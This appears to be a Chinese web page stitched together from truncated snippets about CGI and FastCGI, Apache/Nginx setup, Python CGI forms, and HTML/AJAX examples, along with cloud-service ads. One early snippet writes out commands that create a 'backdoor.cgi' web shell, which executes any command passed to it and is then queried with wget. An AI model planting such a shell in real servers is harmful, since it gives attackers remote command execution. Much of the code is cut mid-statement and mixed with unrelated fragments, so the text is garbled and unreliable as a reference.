关于CGI程序的几个疑问。 为什么print语句可以输出HTML到客户端printf("content-type: text/html; charset=utf-8\n");printf("pragma: no-cache\n") HEAD>\n");printf(" <TITLE>test</TITLE>\n");printf(" <META HTTP-EQUIV='content-type' CONTENT='text/<em>html</em>
cd /tmp mkdir cgi-bin echo '#!/bin/bash' > . /cgi-bin/backdoor.cgi echo 'echo -e "Content-Type: text/plain\n\n"' >> . /cgi-bin/backdoor.cgi echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi chmod +x . /cgi-bin/backdoor.cgi python -m http.server --cgi wget -q -O - "http://localhost:8000/cgi-bin/backdoor.cgi
个人网站、项目部署、开发环境、游戏服务器、图床、渲染训练等免费搭建教程,多款云服务器20元起。
DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>time</title> </head> <body> <canvas drawCircle(); drawClockScale(); setTime(); },1000); </script> </body> </html
07.HTML实例 HTML 实例 ---- HTML 基础 非常简单的HTML文档 ? ? HTML 标题 ? ? HTML 段落 ? ? HTML 链接 ? ? HTML 图片 ? ? ---- HTML 标题 HTML 标题 ? ? 在html源码中插入注释 ? ? 插入水平线 ? ? ---- HTML 段落 HTML 段落 ? ? 更多段落 ? ? 本例演示在 HTML 文档中折行的使用。 ? ? HTML 格式化的某些问题。 ? ? ---- HTML 文本格式化 文本格式化 ? ? ? 此例演示如何使用 pre 标签对空行和空格进行控制。 ---- HTML 样式 HTML Style 元素 ? ? 背景色样式 ? ? 字体样式,颜色,大小 ? ? 文本对齐样式 ? ? 设置文本字体 ? ? 设置文本字体大小 ? ? ---- HTML iframe 内联框架 (HTML页面中插入框架) ? ? ---- HTML 头部元素 描述了文档标题 ? ? HTML页面中默认的URL链接 ? ? 提供文档元数据 ?
cookie操作:限制4kb,300个,每个域名20个 image.png cgi.escape image.png urllib.parse.quote_plus unquote_plus image.png open().read() HTMLParser().unescape() image.png cgi.FieldStorage() xx.keys() image.png
cgi是什么 最早的Web服务器简单地响应浏览器发来的HTTP请求,并将存储在服务器上的HTML文件返回给浏览器,也就是静态html。事物总是不 断发展,网站也越来越复杂,所以出现动态技术。 Web服务器和CGI接口又另外设置了一些环境变量,用来向CGI程序传递一些重要的参 数。CGI的GET方法还通过环境变量QUERY-STRING向CGI程序传递Form中的数据。 目前,环境变量CONTENT_TYPE一般都是:application/x-www-form-urlencoded,他表示数据来自于HTML表单。 lighttpd 配置 cgi, 打开cgi.conf, cgi.assign = (".cgi" => "") 设置 cgi 模块的扩展名和解释器。 cgi 与 fastcgi CGI工作原理:每当客户请求CGI的时候,WEB服务器就请求操作系统生成一个新的CGI解释器进程(如php-cgi.exe),CGI 的一个进程则处理完一个请求后退出,下一个请求来时再创建新进程
定义 cgi 通用网关接口,外部程序与web服务器之间的接口标准,是在cgi程序和web服务器之间传递信息的过程 每一次请求都会生成一个cgi进程,cgi程序执行完,进程退出 独立于服务器、独立编程语言 可以同时处理多个请求 长期占用内存 php-cgi php官方自带的FastCGI 进程管理器 php.ini修改之后,必须kill掉php-cgi再启动php.ini 才生效。 以apache为例,首先要配置好cgi访问目录,访问 http://127.0.0.1/cgi-bin/printenv.pl 。 apache收到用户请求,开始调用cgi接口,处理cgi程序(printenv.pl),处理完了之后返回 cgi程序处理后的结果。 说一下我走过的一个坑,为了验证cgi程序,我特意编译了apache2.4 ,然后配置httpd.conf 但是访问cgi程序还是报错。主要原因就是。cgi文件,没有加上调用哪个程序执行 。
AJAX实例 实例一:一个简单的AJAX实例 创建一个简单的XMLHttpRequest,从一个TXT文件中返回数据 实例 function loadXMLDoc() { var xmlhttp; ).innerHTML=xmlhttp.responseText; } } xmlhttp.open(“GET”,”ajax_info.txt”,true); xmlhttp.send(); } 运行实例 » 点击 “运行实例” 按钮查看在线实例 效果图: 实例二:通过 XML HTTP 进行一次指定的 HEAD 请求 实例 function loadXMLDoc(url) { var xmlhttp » 点击 “运行实例” 按钮查看在线实例 效果图: 实例三:把 XML 文件显示为 HTML 表格 实例 function onResponse() { if(xmlhttp.readyState » 点击 “运行实例” 按钮查看在线实例 效果图: 发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/170672.html原文链接:https://javaforall.cn
当我们在谈到cgi的时候,我们在讨论什么 最早的Web服务器简单地响应浏览器发来的HTTP请求,并将存储在服务器上的HTML文件返回给浏览器,也就是静态html。 目前,环境变量CONTENT_TYPE一般都是:application/x-www-form-urlencoded,他表示数据来自于HTML表单。 lighttpd 配置 cgi, 打开cgi.conf, cgi.assign = (“.cgi” => “”) 设置 cgi 模块的扩展名和解释器。 cgi 与 fastcgi CGI工作原理:每当客户请求CGI的时候,WEB服务器就请求操作系统生成一个新的CGI解释器进程(如php-cgi.exe),CGI 的一个进程则处理完一个请求后退出,下一个请求来时再创建新进程 发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/112925.html原文链接:https://javaforall.cn
修改apache配置文件如下 <Directory "/usr/local/sae/httpd//htdocs/cgi-bin"> AllowOverride None Options ExecCGI Order allow,deny Allow from all </Directory> AddType text/html .htm .html .py AddHandler cgi-script .cgi .py 编写hello_get.py,放在/usr/local/sae/httpd/htdocs/cgi-bin/目录下,赋予权限chmod a+x /usr/bin/python import cgi import os import time import cStringIO import json form = cgi.FieldStorage () ip=form.getvalue('ip') head_lines=form.getvalue('head_lines') print "Content-type: text/html\n\n"
FastCGI是语言无关的、可伸缩架构的CGI开放扩展,其主要行为是将CGI解释器进程保持在内存中并因此获得较高的性能。 众所周知,CGI解 释器的反复加载是CGI性能低下的主要原因,如果CGI解释器保持在内存中并接受FastCGI进程管理器调度,则可以提供良好的性能、伸缩性、 Fail- Over特性等等。 当客户端请求到达Web Server时,FastCGI进程管理器选择并连接到一个CGI解释器。Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。 在CGI模式中,php-cgi在此便退出了。 在上述情况中,你可以想象CGI通常有多慢。每一个Web请求PHP都必须重新解析php.ini、重新载入全部扩展并重初始化全部数据结构。 PHP-CGI的不足: php-cgi变更php.ini配置后需重启php-cgi才能让新的php-ini生效,不可以平滑重启。 直接杀死php-cgi进程,php就不能运行了。
配置Nginx支持CGI 相信会特意看这篇文章的人对CGI是什么及其作用已经有了足够的了解,所以在这里不再赘述,直接开始配置。 /.*\.cgi$ { root /work/www/test; fastcgi_index index.cgi; fastcgi_param SCRIPT_FILENAME $ fastcgi_params.default/etc/nginx/nginx_fcgi_params 到这里其实已经完成工作了,但我现在的公司需要在网页上能够显示数学公式,所以,以下两步是添加一个名为mimetex.cgi (可以在网上下载)的文件到/web/www/cgi-bin(如果没有此目录,请手动创建)下,有了这个文件系统才能将用户提交的“文本格式的公式”转换成“真正的公式” mkdir /etc/nginx cd /web/www/cgi-bin/ chmod +x mimetex.cgi
/usr/bin/python # CGI处理模块 from os import environ import cgi, cgitb # 创建 FieldStorage 的实例化 form = cgi.FieldStorage 1]; continue if(kv[0]=='Password'): password=kv[1]; print('Content-type:text/html ";\r\n") print("Set-Cookie:Domain=www.w3cschool.cc;\r\n") print("Set-Cookie:Path=/perl;\n") print('<html This is my first CGI program') print("Hello %s %s" % (first_name, last_name)) print("User ID = %s" % user_id) print("Password = %s" % password) print('</body>') print('</html>') 2)配置很关键(IIS7.0
众所周知,CGI解释器的 反复加载是CGI性能低下的主要原因,如果CGI解释器保持在内存中并接受FastCGI进程管理器调度,则可以提供良好的性能、伸缩性、Fail- Over特性等等。 FastCGI与CGI特点 1、如CGI,FastCGI也具有语言无关性. 2、如CGI, FastCGI在进程中的应用程序,独立于核心web服务器运行,提供了一个比API更安全的环境。 3、当客户端请求到达Web Server时,FastCGI进程管理器选择并连接到一个CGI解释器。Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。 在CGI模式中,php-cgi在此便退出了。 在上述情况中,你可以想象CGI通常有多慢。每一个Web请求PHP都必须重新解析php.ini、重新载入全部扩展并重初始化全部数据结构。 管理器 PHP-CGI的不足 1、php-cgi变更php.ini配置后需重启php-cgi才能让新的php-ini生效,不可以平滑重启 2、直接杀死php-cgi进程,php就不能运行了。
在HTML诞生之后,随着网络规模的发展,动态网站成为人们的主要诉求。彼时,CGI应运而生。第一个版本的CGI由Perl语言编写的脚本,因此通常称之为“CGI脚本”。 如post请求一个CGI的URL,那么POST的数据,CGI是通过标准输入来获取到的。 而CGI如何构造出数据(比如HTML页面)返回给浏览器呢?其实CGI本身只要向标准输出去写入数据即可。 此时要注意的是,不要以为返回HTML页面,那么直接输出一段HTML代码就OK,注意。此时CGI的输出承担的是HTTP协议的响应部分,因此HTTP响应报头也要自己标准输出出来。 在两个换行符(即一个空行)之后就可以愉快的输出HTML(即实体部分)了。熟悉PHP的同学,肯定echo过HTML代码,没错,这很像。 CGI一般不再用于直接返回html页面,同时将复杂的计算、IO任务下沉到后端(后端可以进一步进行路由转发,实现负载均衡)。使CGI作为前后端之间的中间层。
还需要配置 AddHandler cgi-script .cgi .pl 该配置默认被注释掉了,设置了cgi的后缀名 编写一个cgi文件,内容如下: #! /bin/bash echo "Content-type: text/html" echo "" echo "Hello World" 注意,该文件必须是要UNIX文件格式的,可以editpro等工具编写 将该文件命名为first.cgi,然后放入/var/www/cgi-bin/目录中。 将first.cgi的权限设置成755 chmod 755 /var/www/cgi-bin/first.cgi 再次运行http://localhost:9000/cgi-bin/first.cgi, /usr/bin/perl print "Content-type: text/html\n\n"; print "Hello, World.";
的实例化 form = cgi.FieldStorage() # 获取数据 site_name = form.getvalue('name') site_url = form.getvalue( 6、简单的表单实例:GET方法 以下是一个通过HTML的表单使用GET方法向服务器发送两个数据,提交的服务器脚本同样是cgi_get.py文件,cgi_get.html 代码如下: [root @Node3 html]# cat cgi_get.html <! ,我们将 cgi_get.html 存储在 test 目录下: [root@Node3 cgi-bin]# mv cgi_get.html /var/www/html/ [root@Node3 cgi-bin html]# cat cgi_post.html <!
一个简单的html登录页 以下是一个简单的 HTML 登录页面示例: <! DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>登录</title> </head> <body> 登录 一个简单的html导航页 以下是一个简单的 HTML 导航页的示例: <! 一个关于我们的html页面 那么我们可以在 html 页面中写一个关于我们的介绍,例如: <! 一个简单html游戏代码 HTML 中创建一个游戏通常需要使用 JavaScript 来编写游戏的逻辑。你可以使用 HTML 的 canvas 元素来创建游戏画布。
因为标题写的是实例,所以本次就不做讲解了,因为这个实例我也算是东拼西凑整出来的,参考了大概5、6款拖拽上传的插件和demo,然后把其中好的地方挑出来,最后就成了这么一个实例,一起来看下吧(地址不能保证长久有效 ,如果失效请在文章最后点击demo下载):http://hoorayos.caifutang.com/dropupload.html 界面样式我是参考了一个国外的相册网站,改动不大,只是把鸟语转换成中文 它很巧妙的把三种上传模式整合到了一起,而且你可以用IE浏览器浏览下,如果不支持HTML5,是没有拖拽上传图片的提示的,如图: 拖拽上传最重要的就是js部分的代码,它实现了70%的功能,另外30%仅仅是把图片信息提交到后台 browser.mozilla){ //FF4+ img.src = window.URL.createObjectURL(fileList[0]); }else{ //实例化 dtb-msg4 span").show(); $("#dtb-msg4").children('span').eq(1).css({width:'0px'}); $('.show').html
腾讯云推出了API 网关专享实例优惠活动:腾讯云 API 网关用户可免费领取大额 API 网关专享实例代金券,用于试用或优惠购买 API 网关专享实例… 活动代金券:专享实例包年包月代金券;专享实例按量计费代金券
扫码关注腾讯云开发者
领取腾讯云代金券